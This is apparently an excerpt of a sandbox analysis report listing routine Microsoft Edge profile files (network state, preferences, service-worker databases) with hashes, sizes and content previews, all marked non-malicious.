SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4ad53.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4747653107428698
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvS61XxBDow0WjNwDDcOJ0:OIEumQv8m1ccnvS61fow0WjNwUO+
MD5:	E97FDC297A90760CC54B3BF50D098E8F
SHA1:	092F477D397DA3C295532E21ED9BDADACC7AEE3B
SHA-256:	926DF162B5E91843784E93A51D68E1A58FBE9071348F05996B75029DA25D9AC5
SHA-512:	9849A8F31CC60B11883BC442A7815479FA91B517FE9C0C46D88E19E953AA3DF7A712FF4F23EC9C1CDC686AAB7E8C27465FDE7CEF90F529E204600FED9832956F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3a0e4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ad58.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a5e89566-667a-4848-a7b8-1604f354a7cf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f4c82533-a0a2-4d4b-901f-e04963621f36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10410
Entropy (8bit):	5.214821300394218
Encrypted:	false
SSDEEP:	192:stAkdpMsdR5vsZihg9Y6kLwE8KbV+F3GQA66W2aFIMYMPGW/iYJ:stAQMstvfhg9YRbGWQx6W2aTY2b
MD5:	8B8809AFF6714C2A594D317CD15C04B4
SHA1:	3EE8B9B38367253BCEBEDE0BC47195902819BA5C
SHA-256:	3C15B33AA17A528562579822EE918C34CE680711898BF901F4994C3BFB8CA8C9
SHA-512:	2B6FD2CAA3C3146498AEEE7FB0B6D64EE45D3574870962440F99640513BD64CA8639C86B15277A6A4A94ACEFEBB7ED16A82D8B69580B32AC7758DD23C3663331
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374799890565074","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3de5b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10410
Entropy (8bit):	5.214821300394218
Encrypted:	false
SSDEEP:	192:stAkdpMsdR5vsZihg9Y6kLwE8KbV+F3GQA66W2aFIMYMPGW/iYJ:stAQMstvfhg9YRbGWQx6W2aTY2b
MD5:	8B8809AFF6714C2A594D317CD15C04B4
SHA1:	3EE8B9B38367253BCEBEDE0BC47195902819BA5C
SHA-256:	3C15B33AA17A528562579822EE918C34CE680711898BF901F4994C3BFB8CA8C9
SHA-512:	2B6FD2CAA3C3146498AEEE7FB0B6D64EE45D3574870962440F99640513BD64CA8639C86B15277A6A4A94ACEFEBB7ED16A82D8B69580B32AC7758DD23C3663331
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374799890565074","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF42b81.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10410
Entropy (8bit):	5.214821300394218
Encrypted:	false
SSDEEP:	192:stAkdpMsdR5vsZihg9Y6kLwE8KbV+F3GQA66W2aFIMYMPGW/iYJ:stAQMstvfhg9YRbGWQx6W2aTY2b
MD5:	8B8809AFF6714C2A594D317CD15C04B4
SHA1:	3EE8B9B38367253BCEBEDE0BC47195902819BA5C
SHA-256:	3C15B33AA17A528562579822EE918C34CE680711898BF901F4994C3BFB8CA8C9
SHA-512:	2B6FD2CAA3C3146498AEEE7FB0B6D64EE45D3574870962440F99640513BD64CA8639C86B15277A6A4A94ACEFEBB7ED16A82D8B69580B32AC7758DD23C3663331
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374799890565074","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4a0b1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10410
Entropy (8bit):	5.214821300394218
Encrypted:	false
SSDEEP:	192:stAkdpMsdR5vsZihg9Y6kLwE8KbV+F3GQA66W2aFIMYMPGW/iYJ:stAQMstvfhg9YRbGWQx6W2aTY2b
MD5:	8B8809AFF6714C2A594D317CD15C04B4
SHA1:	3EE8B9B38367253BCEBEDE0BC47195902819BA5C
SHA-256:	3C15B33AA17A528562579822EE918C34CE680711898BF901F4994C3BFB8CA8C9
SHA-512:	2B6FD2CAA3C3146498AEEE7FB0B6D64EE45D3574870962440F99640513BD64CA8639C86B15277A6A4A94ACEFEBB7ED16A82D8B69580B32AC7758DD23C3663331
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374799890565074","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566286983811487
Encrypted:	false
SSDEEP:	768:r9Edf5VV7pLGLplYWPQ2fDi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjguBrKRUrwOL:rap5VjcplYWPQ2fDiu1ja+TBeRN0tJ
MD5:	2D3AD2F038DFDA613AFBA01ACFA27A2B
SHA1:	ECDE8719D28BF4F3ECBE7D2099350C894830C8BB
SHA-256:	29C745656983874AEE9844BC4406394B80BD853E4B2876B07DD5F21EF55DE565
SHA-512:	DDAE74127245BB9644A2588D8D51AC2B6E27D9ED20860914B13EEC7897671ECD96FF019DE779AA0F8A70D1E066A307509A344F8D55A546132E5EB6B4CB6C7BFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374799889911537","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374799889911537","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3de6a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.566286983811487
Encrypted:	false
SSDEEP:	768:r9Edf5VV7pLGLplYWPQ2fDi8F1+UoAYDCx9Tuqh0VfUC9xbog/OVjguBrKRUrwOL:rap5VjcplYWPQ2fDiu1ja+TBeRN0tJ
MD5:	2D3AD2F038DFDA613AFBA01ACFA27A2B
SHA1:	ECDE8719D28BF4F3ECBE7D2099350C894830C8BB
SHA-256:	29C745656983874AEE9844BC4406394B80BD853E4B2876B07DD5F21EF55DE565
SHA-512:	DDAE74127245BB9644A2588D8D51AC2B6E27D9ED20860914B13EEC7897671ECD96FF019DE779AA0F8A70D1E066A307509A344F8D55A546132E5EB6B4CB6C7BFE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374799889911537","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374799889911537","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.837417697880113
Encrypted:	false
SSDEEP:	24:F2xc5NmADcncmo0CRORpllg2DnfRHtTVdCRORpllg2RnkaY7WKCRORpllg2DiRHO:F2emptrdDnfBXXrdRk3JrdDiBhrdJBG
MD5:	6333F7B2B55C913B906EE51628632E09
SHA1:	47DBB091000B3C88EF115A9FC01EAFA82FE234C7
SHA-256:	298BD734734FA3DF657A364EE33535471C9E5C96DEA1B390D8CEEC80DE46F7AD
SHA-512:	1F003BBE057EB539A183EC59208FBFC4E7C88606FFAFFCE744C30F9DDC01E3E2B0F6B7BF2A82F3CF840A5F93378C03FB304308B3A1F8B3FD7E57F23F085C295A
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.Y..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.130074875102717
Encrypted:	false
SSDEEP:	6:6dD1923oH+TcwtE/a252KLlguIq2P923oH+TcwtE/a2ZIFUv:60Yeb8xLCnv4Yeb8J2FUv
MD5:	14FD76B684792A40ECAF1543F38876AE
SHA1:	E35D59F11D8A28C82182D855BF91C4F87D54D8DD
SHA-256:	20830F457D258B17350183364BC887E03CA23DC8A4A9CE40F01F08DD756B6FDE
SHA-512:	D2D874410F02E36DC3B8E91C00D1194BD04BDCC79D5A09E41F84098EA6A1960EC8649998234A7C549C0CF26A9FB4D0F6B787D213AACC5EF758583122272D1477
Malicious:	false
Preview:	2024/10/30-18:11:43.514 1a20 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/30-18:11:43.526 1a20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113318
Entropy (8bit):	5.578792236819736
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NGTsrP4IaBiBL/r4L/rjfj:59LyxPXfOxr1lMe1Z6rF3w9aL/ML/L
MD5:	BFA7CDC59C2047516B927E573DEDDC2A
SHA1:	0ABDB5B7A4DA9B05C5329B87EC92601E75010F8E
SHA-256:	1CE03B334483AA9BACEE93AE9EAA000246F610BF64D6CBD14B52D953BE0DC675
SHA-512:	66DDB23F4CEFCBA9719535EF6204659B02007BBF07B2D79917342371302C6160A070067DB844DD49C8B2E2592D79BB4D6F4522C94243054BF0B025436A50371B
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return 